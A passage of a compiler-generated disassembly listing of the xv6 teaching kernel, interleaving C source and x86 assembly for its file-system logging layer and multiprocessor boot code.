80102aa7: 85 db test %ebx,%ebx
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102aa9: 89 c7 mov %eax,%edi
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
80102aab: 89 58 5c mov %ebx,0x5c(%eax)
80102aae: 8d 70 5c lea 0x5c(%eax),%esi
for (i = 0; i < log.lh.n; i++) {
80102ab1: 7e 17 jle 80102aca <write_head+0x4a>
80102ab3: 90 nop
80102ab4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
hb->block[i] = log.lh.block[i];
80102ab8: 8b 0c 95 ec 26 11 80 mov -0x7feed914(,%edx,4),%ecx
80102abf: 89 4c 96 04 mov %ecx,0x4(%esi,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *hb = (struct logheader *) (buf->data);
int i;
hb->n = log.lh.n;
for (i = 0; i < log.lh.n; i++) {
80102ac3: 83 c2 01 add $0x1,%edx
80102ac6: 39 da cmp %ebx,%edx
80102ac8: 75 ee jne 80102ab8 <write_head+0x38>
hb->block[i] = log.lh.block[i];
}
bwrite(buf);
80102aca: 89 3c 24 mov %edi,(%esp)
80102acd: e8 ce d6 ff ff call 801001a0 <bwrite>
brelse(buf);
80102ad2: 89 3c 24 mov %edi,(%esp)
80102ad5: e8 06 d7 ff ff call 801001e0 <brelse>
}
80102ada: 83 c4 1c add $0x1c,%esp
80102add: 5b pop %ebx
80102ade: 5e pop %esi
80102adf: 5f pop %edi
80102ae0: 5d pop %ebp
80102ae1: c3 ret
80102ae2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102ae9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102af0 <initlog>:
static void recover_from_log(void);
static void commit();
void
initlog(int dev)
{
80102af0: 55 push %ebp
80102af1: 89 e5 mov %esp,%ebp
80102af3: 56 push %esi
80102af4: 53 push %ebx
80102af5: 83 ec 30 sub $0x30,%esp
80102af8: 8b 5d 08 mov 0x8(%ebp),%ebx
if (sizeof(struct logheader) >= BSIZE)
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
80102afb: c7 44 24 04 5c 74 10 movl $0x8010745c,0x4(%esp)
80102b02: 80
80102b03: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102b0a: e8 11 18 00 00 call 80104320 <initlock>
readsb(dev, &sb);
80102b0f: 8d 45 dc lea -0x24(%ebp),%eax
80102b12: 89 44 24 04 mov %eax,0x4(%esp)
80102b16: 89 1c 24 mov %ebx,(%esp)
80102b19: e8 82 e8 ff ff call 801013a0 <readsb>
log.start = sb.logstart;
80102b1e: 8b 45 ec mov -0x14(%ebp),%eax
log.size = sb.nlog;
80102b21: 8b 55 e8 mov -0x18(%ebp),%edx
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102b24: 89 1c 24 mov %ebx,(%esp)
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
log.size = sb.nlog;
log.dev = dev;
80102b27: 89 1d e4 26 11 80 mov %ebx,0x801126e4
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102b2d: 89 44 24 04 mov %eax,0x4(%esp)
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
log.size = sb.nlog;
80102b31: 89 15 d8 26 11 80 mov %edx,0x801126d8
panic("initlog: too big logheader");
struct superblock sb;
initlock(&log.lock, "log");
readsb(dev, &sb);
log.start = sb.logstart;
80102b37: a3 d4 26 11 80 mov %eax,0x801126d4
// Read the log header from disk into the in-memory log header
static void
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
80102b3c: e8 8f d5 ff ff call 801000d0 <bread>
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
for (i = 0; i < log.lh.n; i++) {
80102b41: 31 d2 xor %edx,%edx
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
80102b43: 8b 58 5c mov 0x5c(%eax),%ebx
80102b46: 8d 70 5c lea 0x5c(%eax),%esi
for (i = 0; i < log.lh.n; i++) {
80102b49: 85 db test %ebx,%ebx
read_head(void)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
80102b4b: 89 1d e8 26 11 80 mov %ebx,0x801126e8
for (i = 0; i < log.lh.n; i++) {
80102b51: 7e 17 jle 80102b6a <initlog+0x7a>
80102b53: 90 nop
80102b54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
log.lh.block[i] = lh->block[i];
80102b58: 8b 4c 96 04 mov 0x4(%esi,%edx,4),%ecx
80102b5c: 89 0c 95 ec 26 11 80 mov %ecx,-0x7feed914(,%edx,4)
{
struct buf *buf = bread(log.dev, log.start);
struct logheader *lh = (struct logheader *) (buf->data);
int i;
log.lh.n = lh->n;
for (i = 0; i < log.lh.n; i++) {
80102b63: 83 c2 01 add $0x1,%edx
80102b66: 39 da cmp %ebx,%edx
80102b68: 75 ee jne 80102b58 <initlog+0x68>
log.lh.block[i] = lh->block[i];
}
brelse(buf);
80102b6a: 89 04 24 mov %eax,(%esp)
80102b6d: e8 6e d6 ff ff call 801001e0 <brelse>
static void
recover_from_log(void)
{
read_head();
install_trans(); // if committed, copy from log to disk
80102b72: e8 69 fe ff ff call 801029e0 <install_trans>
log.lh.n = 0;
80102b77: c7 05 e8 26 11 80 00 movl $0x0,0x801126e8
80102b7e: 00 00 00
write_head(); // clear the log
80102b81: e8 fa fe ff ff call 80102a80 <write_head>
readsb(dev, &sb);
log.start = sb.logstart;
log.size = sb.nlog;
log.dev = dev;
recover_from_log();
}
80102b86: 83 c4 30 add $0x30,%esp
80102b89: 5b pop %ebx
80102b8a: 5e pop %esi
80102b8b: 5d pop %ebp
80102b8c: c3 ret
80102b8d: 8d 76 00 lea 0x0(%esi),%esi
80102b90 <begin_op>:
}
// called at the start of each FS system call.
void
begin_op(void)
{
80102b90: 55 push %ebp
80102b91: 89 e5 mov %esp,%ebp
80102b93: 83 ec 18 sub $0x18,%esp
acquire(&log.lock);
80102b96: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102b9d: e8 fe 17 00 00 call 801043a0 <acquire>
80102ba2: eb 18 jmp 80102bbc <begin_op+0x2c>
80102ba4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(1){
if(log.committing){
sleep(&log, &log.lock);
80102ba8: c7 44 24 04 a0 26 11 movl $0x801126a0,0x4(%esp)
80102baf: 80
80102bb0: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102bb7: e8 e4 12 00 00 call 80103ea0 <sleep>
void
begin_op(void)
{
acquire(&log.lock);
while(1){
if(log.committing){
80102bbc: a1 e0 26 11 80 mov 0x801126e0,%eax
80102bc1: 85 c0 test %eax,%eax
80102bc3: 75 e3 jne 80102ba8 <begin_op+0x18>
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80102bc5: a1 dc 26 11 80 mov 0x801126dc,%eax
80102bca: 8b 15 e8 26 11 80 mov 0x801126e8,%edx
80102bd0: 83 c0 01 add $0x1,%eax
80102bd3: 8d 0c 80 lea (%eax,%eax,4),%ecx
80102bd6: 8d 14 4a lea (%edx,%ecx,2),%edx
80102bd9: 83 fa 1e cmp $0x1e,%edx
80102bdc: 7f ca jg 80102ba8 <begin_op+0x18>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
release(&log.lock);
80102bde: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
sleep(&log, &log.lock);
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
80102be5: a3 dc 26 11 80 mov %eax,0x801126dc
release(&log.lock);
80102bea: e8 e1 18 00 00 call 801044d0 <release>
break;
}
}
}
80102bef: c9 leave
80102bf0: c3 ret
80102bf1: eb 0d jmp 80102c00 <end_op>
80102bf3: 90 nop
80102bf4: 90 nop
80102bf5: 90 nop
80102bf6: 90 nop
80102bf7: 90 nop
80102bf8: 90 nop
80102bf9: 90 nop
80102bfa: 90 nop
80102bfb: 90 nop
80102bfc: 90 nop
80102bfd: 90 nop
80102bfe: 90 nop
80102bff: 90 nop
80102c00 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
80102c00: 55 push %ebp
80102c01: 89 e5 mov %esp,%ebp
80102c03: 57 push %edi
80102c04: 56 push %esi
80102c05: 53 push %ebx
80102c06: 83 ec 1c sub $0x1c,%esp
int do_commit = 0;
acquire(&log.lock);
80102c09: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102c10: e8 8b 17 00 00 call 801043a0 <acquire>
log.outstanding -= 1;
80102c15: a1 dc 26 11 80 mov 0x801126dc,%eax
if(log.committing)
80102c1a: 8b 15 e0 26 11 80 mov 0x801126e0,%edx
end_op(void)
{
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
80102c20: 83 e8 01 sub $0x1,%eax
if(log.committing)
80102c23: 85 d2 test %edx,%edx
end_op(void)
{
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
80102c25: a3 dc 26 11 80 mov %eax,0x801126dc
if(log.committing)
80102c2a: 0f 85 f3 00 00 00 jne 80102d23 <end_op+0x123>
panic("log.committing");
if(log.outstanding == 0){
80102c30: 85 c0 test %eax,%eax
80102c32: 0f 85 cb 00 00 00 jne 80102d03 <end_op+0x103>
log.committing = 1;
} else {
// begin_op() may be waiting for log space.
wakeup(&log);
}
release(&log.lock);
80102c38: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
}
static void
commit()
{
if (log.lh.n > 0) {
80102c3f: 31 db xor %ebx,%ebx
log.outstanding -= 1;
if(log.committing)
panic("log.committing");
if(log.outstanding == 0){
do_commit = 1;
log.committing = 1;
80102c41: c7 05 e0 26 11 80 01 movl $0x1,0x801126e0
80102c48: 00 00 00
} else {
// begin_op() may be waiting for log space.
wakeup(&log);
}
release(&log.lock);
80102c4b: e8 80 18 00 00 call 801044d0 <release>
}
static void
commit()
{
if (log.lh.n > 0) {
80102c50: a1 e8 26 11 80 mov 0x801126e8,%eax
80102c55: 85 c0 test %eax,%eax
80102c57: 0f 8e 90 00 00 00 jle 80102ced <end_op+0xed>
80102c5d: 8d 76 00 lea 0x0(%esi),%esi
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *to = bread(log.dev, log.start+tail+1); // log block
80102c60: a1 d4 26 11 80 mov 0x801126d4,%eax
80102c65: 01 d8 add %ebx,%eax
80102c67: 83 c0 01 add $0x1,%eax
80102c6a: 89 44 24 04 mov %eax,0x4(%esp)
80102c6e: a1 e4 26 11 80 mov 0x801126e4,%eax
80102c73: 89 04 24 mov %eax,(%esp)
80102c76: e8 55 d4 ff ff call 801000d0 <bread>
80102c7b: 89 c6 mov %eax,%esi
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c7d: 8b 04 9d ec 26 11 80 mov -0x7feed914(,%ebx,4),%eax
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102c84: 83 c3 01 add $0x1,%ebx
struct buf *to = bread(log.dev, log.start+tail+1); // log block
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102c87: 89 44 24 04 mov %eax,0x4(%esp)
80102c8b: a1 e4 26 11 80 mov 0x801126e4,%eax
80102c90: 89 04 24 mov %eax,(%esp)
80102c93: e8 38 d4 ff ff call 801000d0 <bread>
memmove(to->data, from->data, BSIZE);
80102c98: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
80102c9f: 00
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
struct buf *to = bread(log.dev, log.start+tail+1); // log block
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102ca0: 89 c7 mov %eax,%edi
memmove(to->data, from->data, BSIZE);
80102ca2: 8d 40 5c lea 0x5c(%eax),%eax
80102ca5: 89 44 24 04 mov %eax,0x4(%esp)
80102ca9: 8d 46 5c lea 0x5c(%esi),%eax
80102cac: 89 04 24 mov %eax,(%esp)
80102caf: e8 1c 19 00 00 call 801045d0 <memmove>
bwrite(to); // write the log
80102cb4: 89 34 24 mov %esi,(%esp)
80102cb7: e8 e4 d4 ff ff call 801001a0 <bwrite>
brelse(from);
80102cbc: 89 3c 24 mov %edi,(%esp)
80102cbf: e8 1c d5 ff ff call 801001e0 <brelse>
brelse(to);
80102cc4: 89 34 24 mov %esi,(%esp)
80102cc7: e8 14 d5 ff ff call 801001e0 <brelse>
static void
write_log(void)
{
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102ccc: 3b 1d e8 26 11 80 cmp 0x801126e8,%ebx
80102cd2: 7c 8c jl 80102c60 <end_op+0x60>
static void
commit()
{
if (log.lh.n > 0) {
write_log(); // Write modified blocks from cache to log
write_head(); // Write header to disk -- the real commit
80102cd4: e8 a7 fd ff ff call 80102a80 <write_head>
install_trans(); // Now install writes to home locations
80102cd9: e8 02 fd ff ff call 801029e0 <install_trans>
log.lh.n = 0;
80102cde: c7 05 e8 26 11 80 00 movl $0x0,0x801126e8
80102ce5: 00 00 00
write_head(); // Erase the transaction from the log
80102ce8: e8 93 fd ff ff call 80102a80 <write_head>
if(do_commit){
// call commit w/o holding locks, since not allowed
// to sleep with locks.
commit();
acquire(&log.lock);
80102ced: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102cf4: e8 a7 16 00 00 call 801043a0 <acquire>
log.committing = 0;
80102cf9: c7 05 e0 26 11 80 00 movl $0x0,0x801126e0
80102d00: 00 00 00
wakeup(&log);
80102d03: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102d0a: e8 41 13 00 00 call 80104050 <wakeup>
release(&log.lock);
80102d0f: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102d16: e8 b5 17 00 00 call 801044d0 <release>
}
}
80102d1b: 83 c4 1c add $0x1c,%esp
80102d1e: 5b pop %ebx
80102d1f: 5e pop %esi
80102d20: 5f pop %edi
80102d21: 5d pop %ebp
80102d22: c3 ret
int do_commit = 0;
acquire(&log.lock);
log.outstanding -= 1;
if(log.committing)
panic("log.committing");
80102d23: c7 04 24 60 74 10 80 movl $0x80107460,(%esp)
80102d2a: e8 31 d6 ff ff call 80100360 <panic>
80102d2f: 90 nop
80102d30 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102d30: 55 push %ebp
80102d31: 89 e5 mov %esp,%ebp
80102d33: 53 push %ebx
80102d34: 83 ec 14 sub $0x14,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102d37: a1 e8 26 11 80 mov 0x801126e8,%eax
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102d3c: 8b 5d 08 mov 0x8(%ebp),%ebx
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102d3f: 83 f8 1d cmp $0x1d,%eax
80102d42: 0f 8f 98 00 00 00 jg 80102de0 <log_write+0xb0>
80102d48: 8b 0d d8 26 11 80 mov 0x801126d8,%ecx
80102d4e: 8d 51 ff lea -0x1(%ecx),%edx
80102d51: 39 d0 cmp %edx,%eax
80102d53: 0f 8d 87 00 00 00 jge 80102de0 <log_write+0xb0>
panic("too big a transaction");
if (log.outstanding < 1)
80102d59: a1 dc 26 11 80 mov 0x801126dc,%eax
80102d5e: 85 c0 test %eax,%eax
80102d60: 0f 8e 86 00 00 00 jle 80102dec <log_write+0xbc>
panic("log_write outside of trans");
acquire(&log.lock);
80102d66: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102d6d: e8 2e 16 00 00 call 801043a0 <acquire>
for (i = 0; i < log.lh.n; i++) {
80102d72: 8b 15 e8 26 11 80 mov 0x801126e8,%edx
80102d78: 83 fa 00 cmp $0x0,%edx
80102d7b: 7e 54 jle 80102dd1 <log_write+0xa1>
if (log.lh.block[i] == b->blockno) // log absorbtion
80102d7d: 8b 4b 08 mov 0x8(%ebx),%ecx
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
80102d80: 31 c0 xor %eax,%eax
if (log.lh.block[i] == b->blockno) // log absorbtion
80102d82: 39 0d ec 26 11 80 cmp %ecx,0x801126ec
80102d88: 75 0f jne 80102d99 <log_write+0x69>
80102d8a: eb 3c jmp 80102dc8 <log_write+0x98>
80102d8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102d90: 39 0c 85 ec 26 11 80 cmp %ecx,-0x7feed914(,%eax,4)
80102d97: 74 2f je 80102dc8 <log_write+0x98>
panic("too big a transaction");
if (log.outstanding < 1)
panic("log_write outside of trans");
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
80102d99: 83 c0 01 add $0x1,%eax
80102d9c: 39 d0 cmp %edx,%eax
80102d9e: 75 f0 jne 80102d90 <log_write+0x60>
if (log.lh.block[i] == b->blockno) // log absorbtion
break;
}
log.lh.block[i] = b->blockno;
80102da0: 89 0c 95 ec 26 11 80 mov %ecx,-0x7feed914(,%edx,4)
if (i == log.lh.n)
log.lh.n++;
80102da7: 83 c2 01 add $0x1,%edx
80102daa: 89 15 e8 26 11 80 mov %edx,0x801126e8
b->flags |= B_DIRTY; // prevent eviction
80102db0: 83 0b 04 orl $0x4,(%ebx)
release(&log.lock);
80102db3: c7 45 08 a0 26 11 80 movl $0x801126a0,0x8(%ebp)
}
80102dba: 83 c4 14 add $0x14,%esp
80102dbd: 5b pop %ebx
80102dbe: 5d pop %ebp
}
log.lh.block[i] = b->blockno;
if (i == log.lh.n)
log.lh.n++;
b->flags |= B_DIRTY; // prevent eviction
release(&log.lock);
80102dbf: e9 0c 17 00 00 jmp 801044d0 <release>
80102dc4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
acquire(&log.lock);
for (i = 0; i < log.lh.n; i++) {
if (log.lh.block[i] == b->blockno) // log absorbtion
break;
}
log.lh.block[i] = b->blockno;
80102dc8: 89 0c 85 ec 26 11 80 mov %ecx,-0x7feed914(,%eax,4)
80102dcf: eb df jmp 80102db0 <log_write+0x80>
80102dd1: 8b 43 08 mov 0x8(%ebx),%eax
80102dd4: a3 ec 26 11 80 mov %eax,0x801126ec
if (i == log.lh.n)
80102dd9: 75 d5 jne 80102db0 <log_write+0x80>
80102ddb: eb ca jmp 80102da7 <log_write+0x77>
80102ddd: 8d 76 00 lea 0x0(%esi),%esi
log_write(struct buf *b)
{
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
panic("too big a transaction");
80102de0: c7 04 24 6f 74 10 80 movl $0x8010746f,(%esp)
80102de7: e8 74 d5 ff ff call 80100360 <panic>
if (log.outstanding < 1)
panic("log_write outside of trans");
80102dec: c7 04 24 85 74 10 80 movl $0x80107485,(%esp)
80102df3: e8 68 d5 ff ff call 80100360 <panic>
80102df8: 66 90 xchg %ax,%ax
80102dfa: 66 90 xchg %ax,%ax
80102dfc: 66 90 xchg %ax,%ax
80102dfe: 66 90 xchg %ax,%ax
80102e00 <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
80102e00: 55 push %ebp
80102e01: 89 e5 mov %esp,%ebp
80102e03: 83 ec 18 sub $0x18,%esp
cprintf("cpu%d: starting\n", cpunum());
80102e06: e8 55 f9 ff ff call 80102760 <cpunum>
80102e0b: c7 04 24 a0 74 10 80 movl $0x801074a0,(%esp)
80102e12: 89 44 24 04 mov %eax,0x4(%esp)
80102e16: e8 35 d8 ff ff call 80100650 <cprintf>
idtinit(); // load idt register
80102e1b: e8 e0 29 00 00 call 80105800 <idtinit>
xchg(&cpu->started, 1); // tell startothers() we're up
80102e20: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80102e27: b8 01 00 00 00 mov $0x1,%eax
80102e2c: f0 87 82 a8 00 00 00 lock xchg %eax,0xa8(%edx)
scheduler(); // start running processes
80102e33: e8 48 0d 00 00 call 80103b80 <scheduler>
80102e38: 90 nop
80102e39: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102e40 <mpenter>:
}
// Other CPUs jump here from entryother.S.
static void
mpenter(void)
{
80102e40: 55 push %ebp
80102e41: 89 e5 mov %esp,%ebp
80102e43: 83 ec 08 sub $0x8,%esp
switchkvm();
80102e46: e8 a5 3b 00 00 call 801069f0 <switchkvm>
seginit();
80102e4b: e8 c0 39 00 00 call 80106810 <seginit>
lapicinit();
80102e50: e8 1b f8 ff ff call 80102670 <lapicinit>
mpmain();
80102e55: e8 a6 ff ff ff call 80102e00 <mpmain>
80102e5a: 66 90 xchg %ax,%ax
80102e5c: 66 90 xchg %ax,%ax
80102e5e: 66 90 xchg %ax,%ax
80102e60 <main>:
// Bootstrap processor starts running C code here.
// Allocate a real stack and switch to it, first
// doing some setup required for memory allocator to work.
int
main(void)
{
80102e60: 55 push %ebp
80102e61: 89 e5 mov %esp,%ebp
80102e63: 53 push %ebx
80102e64: 83 e4 f0 and $0xfffffff0,%esp
80102e67: 83 ec 10 sub $0x10,%esp
kinit1(end, P2V(4*1024*1024)); // phys page allocator
80102e6a: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp)
80102e71: 80
80102e72: c7 04 24 28 5d 11 80 movl $0x80115d28,(%esp)
80102e79: e8 62 f5 ff ff call 801023e0 <kinit1>
kvmalloc(); // kernel page table
80102e7e: e8 4d 3b 00 00 call 801069d0 <kvmalloc>
mpinit(); // detect other processors
80102e83: e8 a8 01 00 00 call 80103030 <mpinit>
lapicinit(); // interrupt controller
80102e88: e8 e3 f7 ff ff call 80102670 <lapicinit>
80102e8d: 8d 76 00 lea 0x0(%esi),%esi
seginit(); // segment descriptors
80102e90: e8 7b 39 00 00 call 80106810 <seginit>
cprintf("\ncpu%d: starting xv6\n\n", cpunum());
80102e95: e8 c6 f8 ff ff call 80102760 <cpunum>
80102e9a: c7 04 24 b1 74 10 80 movl $0x801074b1,(%esp)
80102ea1: 89 44 24 04 mov %eax,0x4(%esp)
80102ea5: e8 a6 d7 ff ff call 80100650 <cprintf>
picinit(); // another interrupt controller
80102eaa: e8 81 03 00 00 call 80103230 <picinit>
ioapicinit(); // another interrupt controller
80102eaf: e8 4c f3 ff ff call 80102200 <ioapicinit>
consoleinit(); // console hardware
80102eb4: e8 97 da ff ff call 80100950 <consoleinit>
uartinit(); // serial port
80102eb9: e8 62 2c 00 00 call 80105b20 <uartinit>
80102ebe: 66 90 xchg %ax,%ax
pinit(); // process table
80102ec0: e8 db 08 00 00 call 801037a0 <pinit>
tvinit(); // trap vectors
80102ec5: e8 96 28 00 00 call 80105760 <tvinit>
binit(); // buffer cache
80102eca: e8 71 d1 ff ff call 80100040 <binit>
80102ecf: 90 nop
fileinit(); // file table
80102ed0: e8 7b de ff ff call 80100d50 <fileinit>
ideinit(); // disk
80102ed5: e8 16 f1 ff ff call 80101ff0 <ideinit>
if(!ismp)
80102eda: a1 84 27 11 80 mov 0x80112784,%eax
80102edf: 85 c0 test %eax,%eax
80102ee1: 0f 84 ca 00 00 00 je 80102fb1 <main+0x151>
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
80102ee7: c7 44 24 08 8a 00 00 movl $0x8a,0x8(%esp)
80102eee: 00
for(c = cpus; c < cpus+ncpu; c++){
80102eef: bb a0 27 11 80 mov $0x801127a0,%ebx
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
80102ef4: c7 44 24 04 8c a4 10 movl $0x8010a48c,0x4(%esp)
80102efb: 80
80102efc: c7 04 24 00 70 00 80 movl $0x80007000,(%esp)
80102f03: e8 c8 16 00 00 call 801045d0 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
80102f08: 69 05 80 2d 11 80 bc imul $0xbc,0x80112d80,%eax
80102f0f: 00 00 00
80102f12: 05 a0 27 11 80 add $0x801127a0,%eax
80102f17: 39 d8 cmp %ebx,%eax
80102f19: 76 78 jbe 80102f93 <main+0x133>
80102f1b: 90 nop
80102f1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(c == cpus+cpunum()) // We've started already.
80102f20: e8 3b f8 ff ff call 80102760 <cpunum>
80102f25: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80102f2b: 05 a0 27 11 80 add $0x801127a0,%eax
80102f30: 39 c3 cmp %eax,%ebx
80102f32: 74 46 je 80102f7a <main+0x11a>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
80102f34: e8 67 f5 ff ff call 801024a0 <kalloc>
*(void**)(code-4) = stack + KSTACKSIZE;
*(void**)(code-8) = mpenter;
80102f39: c7 05 f8 6f 00 80 40 movl $0x80102e40,0x80006ff8
80102f40: 2e 10 80
*(int**)(code-12) = (void *) V2P(entrypgdir);
80102f43: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4
80102f4a: 90 10 00
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
*(void**)(code-4) = stack + KSTACKSIZE;
80102f4d: 05 00 10 00 00 add $0x1000,%eax
80102f52: a3 fc 6f 00 80 mov %eax,0x80006ffc
*(void**)(code-8) = mpenter;
*(int**)(code-12) = (void *) V2P(entrypgdir);
lapicstartap(c->apicid, V2P(code));
80102f57: 0f b6 03 movzbl (%ebx),%eax
80102f5a: c7 44 24 04 00 70 00 movl $0x7000,0x4(%esp)
80102f61: 00
80102f62: 89 04 24 mov %eax,(%esp)
80102f65: e8 c6 f8 ff ff call 80102830 <lapicstartap>
80102f6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
// wait for cpu to finish mpmain()
while(c->started == 0)
80102f70: 8b 83 a8 00 00 00 mov 0xa8(%ebx),%eax
80102f76: 85 c0 test %eax,%eax
80102f78: 74 f6 je 80102f70 <main+0x110>
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
80102f7a: 69 05 80 2d 11 80 bc imul $0xbc,0x80112d80,%eax
80102f81: 00 00 00
80102f84: 81 c3 bc 00 00 00 add $0xbc,%ebx
80102f8a: 05 a0 27 11 80 add $0x801127a0,%eax
80102f8f: 39 c3 cmp %eax,%ebx
80102f91: 72 8d jb 80102f20 <main+0xc0>
fileinit(); // file table
ideinit(); // disk
if(!ismp)
timerinit(); // uniprocessor timer
startothers(); // start other processors
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
80102f93: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp)
80102f9a: 8e
80102f9b: c7 04 24 00 00 40 80 movl $0x80400000,(%esp)
80102fa2: e8 a9 f4 ff ff call 80102450 <kinit2>
userinit(); // first user process
80102fa7: e8 14 08 00 00 call 801037c0 <userinit>
mpmain(); // finish this processor's setup
80102fac: e8 4f fe ff ff call 80102e00 <mpmain>
tvinit(); // trap vectors
binit(); // buffer cache
fileinit(); // file table
ideinit(); // disk
if(!ismp)
timerinit(); // uniprocessor timer
80102fb1: e8 4a 27 00 00 call 80105700 <timerinit>
80102fb6: e9 2c ff ff ff jmp 80102ee7 <main+0x87>
80102fbb: 66 90 xchg %ax,%ax
80102fbd: 66 90 xchg %ax,%ax
80102fbf: 90 nop
80102fc0 <mpsearch1>:
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102fc0: 55 push %ebp
80102fc1: 89 e5 mov %esp,%ebp
80102fc3: 56 push %esi
uchar *e, *p, *addr;
addr = P2V(a);
80102fc4: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102fca: 53 push %ebx
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
80102fcb: 8d 1c 16 lea (%esi,%edx,1),%ebx
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102fce: 83 ec 10 sub $0x10,%esp
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80102fd1: 39 de cmp %ebx,%esi
80102fd3: 73 3c jae 80103011 <mpsearch1+0x51>
80102fd5: 8d 76 00 lea 0x0(%esi),%esi
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102fd8: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80102fdf: 00
80102fe0: c7 44 24 04 c8 74 10 movl $0x801074c8,0x4(%esp)
80102fe7: 80
80102fe8: 89 34 24 mov %esi,(%esp)
